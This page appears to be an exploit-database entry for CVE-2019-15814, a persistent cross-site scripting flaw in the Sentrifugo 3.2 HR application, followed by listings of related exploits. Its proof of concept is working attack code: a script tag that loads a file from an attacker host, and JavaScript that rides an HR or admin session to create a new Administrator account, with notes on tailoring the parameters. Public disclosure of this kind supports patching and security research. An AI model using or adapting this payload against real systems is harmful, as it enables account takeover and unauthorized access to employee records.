Menu

Search for hundreds of thousands of exploits

"Sentrifugo 3.2 - Persistent Cross-Site Scripting"

Author

creosote

Platform

php

Release date

2019-08-30

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
# Exploit Title: Sentrifugo 3.2 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15814


Multiple Stored XSS vulnerabilities were found in Sentrifugo 3.2. In most test cases session riding was also possible by utilizing the XSS vulnerability. This potentially allows for full account takeover.

/sentrifugo/index.php/employee/edit/id/5  <--Attacker employee ID here. POC example pertains to this one.
/sentrifugo/index.php/feedforwardquestions/add
/sentrifugo/index.php/announcements/add

# Proof of Concept

A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in "Certificate Description" (Self Service >> My Details >> Training and Certificate Details)

<script src="http://Attacker-IP/add-admin-user.js"></script>

Add the following 'add-admin-user.js' file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo.

A few crafting notes:

- 'employeeId' - this can be found in the users profile.
- 'employeeNumId' - this can be an arbitrary number as long as it does not exist.
- 'emprole' - in this test case '2_1' was the Administrator role
- 'emp_status_id' - based off  "Contractor", "Full-Time", etc. Contractor is '6' in this case.
- 'emailaddress' - by default the initial password is sent via email, so this will need to be valid in order to login.

----------------------------------------------------------------------------------------------------

function execute()
{
  var nuri ="http://10.42.1.42/sentrifugo/index.php/employee/add";
  xhttp = new XMLHttpRequest();
  xhttp.open("POST", nuri, true);
  xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhttp.withCredentials = "true";
  var body = "";
  body += "\r\n\r\n";
  body += 
	"id=&final_emp_id=EMPP99&tmp_emp_name=Select+Candidate&employeeId=EMPP&employeeNumId=99" +
	"&firstname=Bob&lastname=Blah&modeofentry=Direct&emprole=2_1&emailaddress=bob%40localhost.com" +
	"&businessunit_id=0&reporting_manager=2&emp_status_id=6&screenflag=add&date_of_joining=07%2F04%2F2019&submit=Save";
  xhttp.send(body);
  return true;
}

execute();

----------------------------------------------------------------------------------------------------

When a user with permissions to add users (HR role by default) views your XSS "Certification Description" the add user request should be sent.

Other session riding request that can possibly be crafted:
- Company Announcement - gets blasted out to all users. Also has an additional XSS vuln in the description.
- Add Employee Leave - this one is tricky to craft due to needed parameter knowledge.
- Background check - update or add employee background check status.
- Disciplinary Actions - manipulate existent or non-existent disciplinary records.
Release Date Title Type Platform Author
2019-09-14 "College-Management-System 1.2 - Authentication Bypass" webapps php cakes
2019-09-14 "Ticket-Booking 1.4 - Authentication Bypass" webapps php cakes
2019-09-13 "LimeSurvey 3.17.13 - Cross-Site Scripting" webapps php "SEC Consult"
2019-09-13 "phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery" webapps php "Manuel García Cárdenas"
2019-09-13 "Dolibarr ERP-CRM 10.0.1 - 'User-Agent' Cross-Site Scripting" webapps php "Metin Yunus Kandemir"
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting (2)" webapps php MTK
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting" webapps php MTK
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - SQL Injection" webapps php MTK
2019-09-10 "October CMS - Upload Protection Bypass Code Execution (Metasploit)" remote php Metasploit
2019-09-09 "Dolibarr ERP-CRM 10.0.1 - SQL Injection" webapps php "Metin Yunus Kandemir"
2019-09-09 "WordPress Plugin Sell Downloads 1.0.86 - Cross-Site Scripting" webapps php "Mr Winst0n"
2019-09-09 "Online Appointment - SQL Injection" webapps php "mohammad zaheri"
2019-09-09 "Dolibarr ERP-CRM 10.0.1 - 'elemid' SQL Injection" webapps php "Metin Yunus Kandemir"
2019-09-09 "WordPress 5.2.3 - Cross-Site Host Modification" webapps php "Todor Donev"
2019-09-06 "Inventory Webapp - 'itemquery' SQL injection" webapps php "mohammad zaheri"
2019-09-04 "WordPress Plugin Download Manager 2.9.93 - Cross-Site Scripting" webapps php MgThuraMoeMyint
2019-09-03 "FileThingie 2.5.7 - Arbitrary File Upload" webapps php cakes
2019-09-02 "Craft CMS 2.7.9/3.2.5 - Information Disclosure" webapps php "Mohammed Abdul Raheem"
2019-09-02 "Wordpress Plugin Event Tickets 4.10.7.1 - CSV Injection" webapps php MTK
2019-09-02 "Opencart 3.x - Cross-Site Scripting" webapps php "Nipun Somani"
2019-08-30 "WordPress Plugin WooCommerce Product Feed 2.2.18 - Cross-Site Scripting" webapps php "Damian Ebelties"
2019-08-30 "YouPHPTube 7.4 - Remote Code Execution" webapps php "Damian Ebelties"
2019-08-30 "DomainMod 4.13 - Cross-Site Scripting" webapps php "Damian Ebelties"
2019-08-30 "Sentrifugo 3.2 - Persistent Cross-Site Scripting" webapps php creosote
2019-08-30 "Sentrifugo 3.2 - File Upload Restriction Bypass" webapps php creosote
2019-08-29 "PilusCart 1.4.1 - Local File Disclosure" webapps php "Damian Ebelties"
2019-08-29 "Jobberbase 2.0 - 'subscribe' SQL Injection" webapps php "Damian Ebelties"
2018-10-31 "WordPress Plugin GoURL.io < 1.4.14 - File Upload" webapps php "Pouya Darabi"
2019-08-28 "Jobberbase 2.0 CMS - 'jobs-in' SQL Injection" webapps php "Naren Jangra"
2019-08-28 "SQLiteManager 1.2.0 / 1.2.4 - Blind SQL Injection" webapps php "Rafael Pedrero"
Release Date Title Type Platform Author
2019-08-30 "Sentrifugo 3.2 - Persistent Cross-Site Scripting" webapps php creosote
2019-08-30 "Sentrifugo 3.2 - File Upload Restriction Bypass" webapps php creosote
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47324/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47324/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47324/41688/sentrifugo-32-persistent-cross-site-scripting/download/", "exploit_id": "47324", "exploit_description": "\"Sentrifugo 3.2 - Persistent Cross-Site Scripting\"", "exploit_date": "2019-08-30", "exploit_author": "creosote", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

Browse exploit APIBrowse